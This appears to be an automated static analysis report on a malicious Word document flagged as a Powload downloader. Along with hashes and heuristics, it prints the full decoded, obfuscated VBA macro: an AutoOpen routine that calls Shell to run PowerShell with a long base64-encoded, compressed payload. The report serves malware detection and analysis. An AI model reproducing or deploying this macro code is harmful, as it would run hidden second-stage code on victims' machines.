Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82bc934e4af1391a…

MALICIOUS

Office (OLE)

99.8 KB Created: 2018-06-08 06:54:00 Authoring application: Microsoft Office Word First seen: 2018-06-25
MD5: e726b03e1cbbe324d6f1284eaac79ed4 SHA-1: 2efdf909fcbdb4a1d61407d42db2d900fa422717 SHA-256: 82bc934e4af1391ae951f34f9f723bb39c77aa285ca2e0894c708bdc7c00bea2
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers the YoJHG function, which uses the Shell() function to execute a command. This is a common technique for downloading and executing second-stage malware. The ClamAV detection name 'Doc.Malware.Powload-7012660-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Malware.Powload-7012660-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-7012660-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Next
YoJHG = PsiaFmV + Shell(GmJrLX + Chr(krzbpA + vbKeyP + lqJOzQ) + "owers" + vavKf + uzlGj + SjuitMHdW + mQPYDhtV + qEzEMku + zzkROT, 15298 - 15298)
For TfuwDd = jhfuNI To YNiddI
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13923 bytes
SHA-256: f595a0e6520d7b1e9ba602a6fa407416a7aacdce3bfcd984e422038fbc9a3213
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nsjOpfSA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function YoJHG()
On Error Resume Next
For cZpjS = wLfKGt To QrjfUz
      For sKHiA = itQds To 91085
         dVYGGN = (98926 / CBool(JVBuv) - qKHFp / Oct(75566 / Hex(73577) / SSKfF + Rnd(FuBSL / Fix(37))))
Next
   SvTdZ = 14792 - 96909
Next
For ioGkF = ojIYCI To MDFva
      For oNOTj = sEvrif To 64914
         jidMaa = (30569 / CBool(VmdPD) - FrNhzA / Oct(18272 / Hex(78461) / UWBMl + Rnd(rdtUTU / Fix(37))))
Next
   ZtVzrS = 84777 - 54228
Next
YoJHG = PsiaFmV + Shell(GmJrLX + Chr(krzbpA + vbKeyP + lqJOzQ) + "owers" + vavKf + uzlGj + SjuitMHdW + mQPYDhtV + qEzEMku + zzkROT, 15298 - 15298)
For TfuwDd = jhfuNI To YNiddI
      For ukdbSU = zIqws To 58576
         WSmpO = (62484 / CBool(nnaQQ) - zmNpO / Oct(37918 / Hex(12644) / vQXkI + Rnd(jYowVi / Fix(37))))
Next
   CurnPb = 44253 - 13567
Next
End Function
Sub Autoopen()
On Error Resume Next
For DKBRON = BiYXda To PEGuj
      For zcumR = rVBzrj To 35101
         MMjrXT = (56167 / CBool(PzGIbs) - iIhqsz / Oct(53031 / Hex(31789) / zTWZz + Rnd(joLbpC / Fix(37))))
Next
   OXMlM = 24167 - 94325
Next
YoJHG
For ISwtSq = sZClw To rDzDm
      For QSzADZ = tJiGk To 28871
         jrBXj = (63890 / CBool(WvlZEG) - XUPiZ / Oct(62341 / Hex(62230) / LSvTF + Rnd(AOTRWc / Fix(37))))
Next
   ACZWFn = 89199 - 43109
Next
End Sub


Attribute VB_Name = "bwTLWpOY"
Function vavKf()
On Error Resume Next
For dICLq = OZlvA To WfBBBr
      For NwmFD = PVciUv To 25666
         uhPhSZ = (37697 / CBool(dwdhSi) - fEbUk / Oct(51965 / Hex(24235) / DwUaCm + Rnd(QAmBbw / Fix(37))))
Next
   TiSwiS = 77685 - 52977
Next
UActTXViAj = "HeLL -e KAAgA" + "G4AZ" + "QB3AC0ATwBiAG" + "oARQ" + "BDAHQAIAAgAHMAe"
For YlNwi = bcTiqL To wwQwmh
      For uRCKsk = BowtCb To 53368
         pppMWZ = (20073 / CBool(tIbkjU) - hfGwcH / Oct(66209 / Hex(5890) / tBZnW + Rnd(njHCIb / Fix(37))))
Next
   aKDjj = 18080 - 3537
Next
UwYrkJRk = "QBTAFQA" + "ZQBtAC4AaQBv" + "AC4AYwBPA" + "E0AUABy" + "AEUA" + "UwBTAEkATwBOA" + "C4AZABFAEYAT" + "AB"
For zIjJP = vdzoH To lSVAWK
      For UrdhL = aFvus To 45133
         Bltss = (59232 / CBool(arGIO) - pVIpD / Oct(25538 / Hex(47682) / jaWbV + Rnd(oJAiG / Fix(37))))
Next
   ilAYc = 14205 - 84073
Next
zFFtsvok = "BAHQARQBz" + "AFQAcgBlAE" + "EAbQAoA" + "CA"
For fdlVS = OFwGr To wUULXR
      For ZSQrX = zTDVj To 24126
         VVZDpB = (16503 / CBool(qjMtr) - SNQoAL / Oct(69497 / Hex(34851) / OmOTVp + Rnd(jNtvJ / Fix(37))))
Next
   vRWWIL = 67732 - 67304
Next
nbcQzZujuK = "AWwBz" + "AFkAUwBUAGUA" + "bQAuAEkAbwAuAG" + "0A" + "RQBt" + "AE"
For zfbiG = jiALDk To QbhmV
      For zzzwQp = zSiDY To 67118
         Joisq = (67832 / CBool(DitjG) - kAvoVp / Oct(7223 / Hex(67781) / zjKpo + Rnd(NEznUj / Fix(37))))
Next
   cspwm = 14740 - 92735
Next
wmojz = "8AcgB5AHM" + "AdAByAGUAYQ" + "BNAF0AIABbAEMA" + "TwBuAHY"
For GMKwh = XqhifS To qwiBu
      For pavvmJ = YCzZDw To 75045
         rWAtGo = (81508 / CBool(PEpQw) - uHusXG / Oct(89380 / Hex(20519) / YnzaV + Rnd(IfjfSz / Fix(37))))
Next
   hInwzM = 61613 - 83594
Next
uzuNScm = "ARQByAHQAXQ" + "A6" + "ADoAZgB" + "yAG" + "8ATQ" + "BiAGE"
vavKf = UActTXViAj + UwYrkJRk + zFFtsvok + nbcQzZujuK + wmojz + uzuNScm
End Function
Function uzlGj()
On Error Resume Next
For sjnHri = YjqjF To FHNVWH
      For GlfmS = mEbHh To 58906
         buPnN = (99195 / CBool(UKwcSV) - Cjiiq / Oct(46841 / Hex(36368) / HEBoSs + Rnd(zZICj / Fix(37))))
Next
   LrZHW = 58467 - 7175
Next
LrqUMSv = "AUwBlADY" + "ANABzAHQAUgBJAG" + "4A" + "RwAoACcAVgB" + "aAEI" + "AdAB" + "TADgATQB3AEY" + "ASQBY" + "AC8AUwBqADQA" + "VQB1A"
For mDTzTk = sdrGG To mLmYhl
      For MZTQp = qoIWT To 88374
         uVBhr = (96941 / CBool(iEwQv) - PYjnj / Oct(79641 / Hex(86781) / jMjDHO + Rnd(jjGYMr / Fix(37))))
Next
   RKFjjd = 61468 - 15080
Next
FGEmBMVtciC = "HEARgBMAGMAQwBx" + "AEsAUgBYAEQANA" + "BBAGoAcQBkA" + "DAAeQB" + "vADYARQBTAFIATg" + "A3" + "ADkAYgBVA" + "E4ASwB"
For DUPqRI = mdAZK To RdkkN
      For VpsjiY = ViCGP To 18308
         jjjrYc = (52931 / CBool(TuLRf) - sbwwQ / Oct(64410 / Hex(74198) / KkhRKm + Rnd(jXlQjZ / Fix(37))))
Next
   usLkWH = 41035 - 95485
Next
azKSOZ = "uA" + "EoAWABkAHQAdAA3" + "AEwA" + "KwBiAF" + "QAaQBmADQA" + "SgB" + "TAFQA" + "MwBuAEgA"
For QswdH = Hwcov To zKGRp
      For kXZBwj = jDnfK To 60337
         NMRZM = (17717 / CBool(dQnoui) - vhFTh / Oct(62618 / Hex(71602) / wOvOWa + Rnd(USRJc / Fix(37))))
Next
   mtjFf = 89095 - 13185
Next
PlXQwhjw = "TQ" + "BQAGUAWQBMAHoAe" + "AA" + "2AHAAVwA1" + "AEoAUgBvAHEASAB" + "zA" + "G0AeQBVAEUA" + "ZwBzAFYA" + "eQBuAHAAb"
For mNBFq = WhMcwh To NCdzmG
      For vUWlCI = oZOCm To 58424
         LBuJj = (78536 / CBool(mGoKuV) - rCHto / Oct(62017 / Hex(21657) / qQDhc + Rnd(IwaMDT / Fix(37))))
Next
   AjoGR = 88527 - 16943
Next
jzqMjuLPU = "wBpAEMAMQA" + "xAFQAZgBYA" + "C8AKwBYADQA" + "bwBWAEQASwBPA" + "GcA" + "SQBrAEwANQBBAGM" + "AcQA0AGsAY"
uzlGj = LrqUMSv + FGEmBMVtciC + azKSOZ + PlXQwhjw + jzqMjuLPU
End Function
Function SjuitMHdW()
On Error Resume Next
For haHnj = WGIzwI To KdGwLz
      For IOwrCW = SSmXmC To 9514
         pvutk = (72107 / CBool(ROFKJp) - iIFud / Oct(10396 / Hex(37584) / QkNGDo + Rnd(aLFnB / Fix(37))))
Next
   KDSOtQ = 93707 - 68097
Next
pBivWLvjZ = "QBJAHk" + "AQwBzAFIAcwBVAD" + "gAY" + "wBnADcAdwB3"
For rMAMki = rYzpN To JfdhDv
      For tFVnSY = mjkoW To 86783
         tAFrDs = (17194 / CBool(hoMai) - mlLNBv / Oct(86883 / Hex(72965) / NuLZfL + Rnd(KSUBPf / Fix(37))))
Next
   qzCiY = 45943 - 63867
Next
bJwiTOYU = "AH" + "kAeABkAEM" + "AZQBNADE" + "AYQBCAFEAYw" + "BPAHUAbwB"
For rtLzuY = VzkHJs To sSdJtd
      For GddHNV = wQUOJ To 73119
         SOfQO = (68385 / CBool(WRIVfs) - kBOiD / Oct(63680 / Hex(72183) / hshDN + Rnd(jPtzG / Fix(37))))
Next
   ZEwtit = 93690 - 68766
Next
diFUY = "NAE" + "EA" + "VQBiA" + "FAA" + "agB" + "5AHEAN" + "gA4AE8AYgAvAHAA" + "SwBkAHQA" + "WABvAHIAMQB6"
For VlhcG = PFjGE To ChniL
      For apBOW = zhfDV To 99390
         kBELG = (99589 / CBool(GHRKKt) - iXXKK / Oct(36509 / Hex(45871) / uKHPI + Rnd(YjMjkw / Fix(37))))
Next
   OzVjj = 72022 - 29151
Next
bQRALFwoDZw = "AFY" + "AVgAwAE0AegB" + "kADg" + "AYwBi" + "AEEAe" + "QAxAEoASgB3AFY"
For XrEdX = KIsLj To OHuErr
      For iYFaaw = PZBibh To 16727
         WTDmk = (23370 / CBool(aUYDK) - HDRpr / Oct(81870 / Hex(62991) / SQijqD + Rnd(HOkzdM / Fix(37))))
Next
   aAEGiU = 96417 - 71681
Next
GSDJvDLhv = "ARQBh" + "ADMA" + "ZAA2AFoAUQAy" + "AFAANQ" + "BEAE4Aa" + "ABVAFAARgBlAE" + "wAKwBpACs" + "ARgBsAGgAYwBsAF" + "cAQwBvADAASwB5A" + "GIATgBKAE"
For WmbIV = ojqbHD To ZFuIc
      For FoEht = cQklH To 23295
         hOHuPv = (30115 / CBool(ZAIBE) - YbzMas / Oct(59059 / Hex(60230) / SEhmt + Rnd(DwjPL / Fix(37))))
Next
   nSLiM = 24414 - 93059
Next
AMRrWPTUpKJ = "IA" + "bQBPAEIANQB" + "QA" + "GIAZgB6AHQ" + "AVABuAG" + "4ASwA1AE" + "wARABaAEw" + "AagAwAG" + "YA"
For nvjpnE = lYhTRC To opiJW
      For WCZlt = lJniN To 60772
         zaWYsw = (78671 / CBool(RZBwtU) - dVwDqs / Oct(19131 / Hex(70147) / uvcSf + Rnd(qUojCa / Fix(37))))
Next
   RpKhZ = 8690 - 56881
Next
UaVvvEmz = "dQA3AGEAWgA2AG" + "0ANQBqAEYAbgA2A" + "FcAWQB6" + "AGUAVQB" + "TAFcAcAB"
SjuitMHdW = pBivWLvjZ + bJwiTOYU + diFUY + bQRALFwoDZw + GSDJvDLhv + AMRrWPTUpKJ + UaVvvEmz
End Function
Function mQPYDhtV()
On Error Resume Next
For pArwj = lJppp To zdwWVw
      For ihHJR = LDGsI To 36490
         GzFvk = (38565 / CBool(jFKwtN) - SosoLb / Oct(71013 / Hex(90964) / hqamUO + Rnd(QhWjjA / Fix(37))))
Next
   BlBwn = 56205 - 43737
Next
mXMDh = "VAG0Ab" + "ABxAG0AOAB" + "5AHYA" + "ZQB" + "IA"
For PDbtP = EwrUL To XEKhf
      For ZtRXd = RQrDJ To 55315
         STYaWL = (52100 / CBool(RMkfPX) - AzaUTV / Oct(6893 / Hex(55288) / sZabzW + Rnd(mOXtp / Fix(37))))
Next
   dnVETH = 64675 - 63411
Next
wIvVSilMAt = "FIAe" + "QB5AGsA" + "cwB" + "hAC8ASABUAG" + "4AZw" + "BXAGQAc" + "QBOAEEAcQBaAH"
For OdaPtc = JbOqji To kzwvLz
      For siBAT = wPBvvK To 810
         zBjcY = (95868 / CBool(vfzSv) - lEVMWj / Oct(53657 / Hex(43454) / YPapqu + Rnd(SvWim / Fix(37))))
Next
   zOSnzK = 93755 - 98346
Next
kiaGq = "gALwBqAHYAMQ" + "BmA" + "GcAZw" + "AwAFoAcQBxA" + "EgAQgB6AH" + "QAN" + "AB1AD" + "YAZQA4AGY" + "AOQ"
For iYvNK = jZbYow To UCiHLV
      For DwNEw = GtijR To 49698
         VjBucj = (87215 / CBool(WuJzoU) - QFszbm / Oct(98475 / Hex(73512) / rPDZp + Rnd(rHOwHo / Fix(37))))
Next
   ofbcc = 63259 - 2381
Next
phzXYiCIsOi = "BBACsATwB2A" + "E8ASABMAEcAYQB" + "rAEcAcgBRAEYA" + "MABkAG" + "UASgBwAGwA" + "RwBTA"
For GKmNc = rRwNWu To CNjTtj
      For CjpNF = QMYzK To 35223
         IkEQMM = (24626 / CBool(pPlkt) - lRuIj / Oct(1255 / Hex(96696) / XUZIM + Rnd(itzDE / Fix(37))))
Next
   hSIQH = 63108 - 37391
Next
iVtGUwhUj = "EgAaABPACsAaA" + "BQADc" + "AZABoAC" + "8ANgBiAFEAUQBCA" + "GgATgBqAFEAVQB" + "1AHMAawA2AFEA" + "WgAxAE" + "8A" + "eABGAEUAUgBxA"
For MTEcL = fudqa To mGNkq
      For AAVwQ = jkcTJd To 1374
         hvoDP = (93862 / CBool(HjjPIc) - WbFXZD / Oct(62813 / Hex(36830) / QDWwbc + Rnd(lzqYk / Fix(37))))
Next
   RJUtHt = 37196 - 73457
Next
Csmwq = "DgAZwB1AHI" + "AdQAwAEs" + "ANwBXAFAAMABnAH" + "AAaABlAG0AMQB" + "zAH" + "IAdwA5AEUAbwBx"
For HGtNBN = EzVOPY To tAViU
      For QSDCfJ = Cfwnzu To 68740
         PCNbwA = (91479 / CBool(CWbtIb) - lOwoQo / Oct(4978 / Hex(83263) / sSiYAi + Rnd(VpEdz / Fix(37))))
Next
   CVzUZ = 1433 - 61221
Next
GavzuAiDIfJ = "AD" + "IASAByAHAAawA" + "0AG4A" + "UgBTAGoAM" + "wByAGQASABmA"
mQPYDhtV = mXMDh + wIvVSilMAt + kiaGq + phzXYiCIsOi + iVtGUwhUj + Csmwq + GavzuAiDIfJ
End Function
Function qEzEMku()
On Error Resume Next
For QnbmK = AGTGN To jjjRX
      For UIFDDz = iLcqvP To 3551
         ccfGl = (81714 / CBool(NPVwQ) - bTpjzh / Oct(61276 / Hex(45551) / MjipjM + Rnd(QXrLA / Fix(37))))
Next
   GBKlB = 22567 - 90163
Next
fRUfJVvXUdS = "EoAYgAyA" + "GsA" + "MwBpAH" + "AARgBi" + "ADcASQAyAHQAR"
For iFjKCs = JwhVnd To vcwKw
      For zzHFlY = oVLfU To 55388
         ddzfd = (39898 / CBool(GZJpMZ) - FiprPF / Oct(83150 / Hex(70808) / bZdfzo + Rnd(BBKVmS / Fix(37))))
Next
   QjbEsY = 95033 - 30484
Next
vLUOdMEL = "QBlA" + "EQAYwBkAGgAdw" + "BsAHYA" + "dQBVAHoAVwB" + "uAHUAQwBJAG" + "wAdgBWA" + "FYAaQBMADAATQ"
For wVinW = EXRsfW To zplSn
      For nBEEn = YKoBw To 24549
         LzfJQ = (1899 / CBool(NznDt) - IKjmSa / Oct(70872 / Hex(80183) / XuQvkz + Rnd(QVTjiK / Fix(37))))
Next
   UfVRX = 89092 - 81430
Next
shjGPUilcQj = "B1AE8AU" + "QBCAEIALwAwAHMA" + "aABGAFEAdA" + "BtAEQAcABuAFUA" + "OQA0A" + "HEATg" + "BGADYALwB" + "RA" + "DAAPQAnA"
For ALAuO = BjXbLj To ksUQRj
      For SkMIwD = GwJNv To 72968
         tEvpj = (144 / CBool(mvESb) - kmAAFK / Oct(18742 / Hex(90366) / wrwLR + Rnd(mNOPzS / Fix(37))))
Next
   oZbijR = 61892 - 79066
Next
hMHpqYiw = "Ck" + "AIAAsACA" + "AWw" + "BpA" + "E8AL" + "gBjAE8Ab" + "QBQAHIA"
For pXZcT = JHkcPd To EtYiT
      For hpCdM = wbZWbr To 28480
         qBYlpc = (80717 / CBool(GfVCN) - VhKBwj / Oct(14215 / Hex(36416) / tNjUUk + Rnd(JkACPC / Fix(37))))
Next
   msrKd = 67253 - 45272
Next
ackIuTfH = "RQBT" + "AFMAaQBPAG" + "4AL" + "gBjAE8ATQB" + "wAFIARQBzAHM" + "AaQBvAG4AbQBPA" + "EQAZQBdADoAO" + "gBkAGUAYwBvA"
For JfQFr = atiTX To fYGHV
      For VWkCL = SMYIH To 42235
         jPkDDD = (28789 / CBool(YjrRis) - oNmjpJ / Oct(24994 / Hex(2863) / GTwni + Rnd(SlMpnw / Fix(37))))
Next
   VCDGaz = 74994 - 87630
Next
LRFJnobKPl = "E0AcABSAGUAcwB" + "TA" + "CAA" + "KQB8ACUAewBu" + "AGUAdwAtAE8AYgB" + "qA" + "EUAQwB0" + "ACA"
For dZiXKV = jUWOM To kFbNkQ
      For EsFpt = jjjjPO To 58410
         qZIHd = (92853 / CBool(fVQkj) - SwiMN / Oct(42404 / Hex(76482) / kUoiSm + Rnd(zkHzia / Fix(37))))
Next
   fSGHUs = 48101 - 43769
Next
zwWupTwEShp = "AIAB" + "TAHkAUwB0A" + "GUATQAuAG" + "kATwAuAFMAVABS"
For EKUQhE = CsqqF To UcKJV
      For kIlAzY = LFFBv To 13304
         fkUwV = (20153 / CBool(OFHrkn) - wiwKWq / Oct(72946 / Hex(61822) / JWsOt + Rnd(wrvjr / Fix(37))))
Next
   jIMoL = 78476 - 42405
Next
hwATmItA = "AEUAQQBNA" + "HI" + "AZQBhAEQAZQB" + "SACgAIAAkA" + "F8AIAAsAFsAU" + "wBZAFMAdA" + "BFAE0" + "ALgBUAE" + "UAWAB0AC4A"
For iJMkr = bJqYP To zQKcdv
      For wJQwB = BOVkWL To 4182
         cpzJH = (44801 / CBool(omAWTQ) - SzkLPo / Oct(45193 / Hex(89313) / NLopz + Rnd(YUMNM / Fix(37))))
Next
   bLSWY = 38644 - 19420
Next
lpUTBnZno = "ZQBuA" + "EMAb" + "wBEAGkATgBn" + "AF0AOgA6AGE" + "AcwBjAGk" + "AaQ" + "Ap" + "AH0AIAB8AC" + "AAJQAgAHsAIA"
qEzEMku = fRUfJVvXUdS + vLUOdMEL + shjGPUilcQj + hMHpqYiw + ackIuTfH + LRFJnobKPl + zwWupTwEShp + hwATmItA + lpUTBnZno
End Function
Function zzkROT()
On Error Resume Next
For PZifb = YAKwNs To amwShi
      For NfJFED = mRprUN To 46569
         ndJOBh = (46964 / CBool(QAToA) - UDqlb / Oct(15965 / Hex(69268) / cbXEl + Rnd(VFtiJc / Fix(37))))
Next
   UJSjAp = 41719 - 87474
Next
RsLtNPS = "Ak" + "AF8ALgBSA" + "EUAY" + "QBkAFQAbwBFAE" + "4AZAAoACAAKQB9A" + "CkAfA" + "AmAC" + "AAKAAgACQAcw" + "BI" + "AGUAbABM"
For kPqOz = AilPOX To hqwwp
      For KHoiYZ = uYFbSO To 43055
         rIOXl = (69843 / CBool(KtuOb) - bcjEz / Oct(63891 / Hex(66440) / vkSozq + Rnd(dKzABd / Fix(37))))
Next
   iiYDEF = 93493 - 91197
Next
zGlNE = "AGkARABbADE" + "AXQArAC" + "QAcwBIAGUAbABs" + "AEkAZABb" + "ADEAMwBdACs"
For KwiTvW = ShnZv To winud
      For iwNarm = AfvdcB To 571
         HqTXj = (13160 / CBool(iTNEuK) - qQKcPM / Oct(75688 / Hex(92897) / nhBVr + Rnd(EKXvX / Fix(37))))
Next
   sUWwau = 35845 - 90119
Next
RuPEGUkwP = "AJwB4ACcAK" + "QA="
zzkROT = RsLtNPS + zGlNE + RuPEGUkwP
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.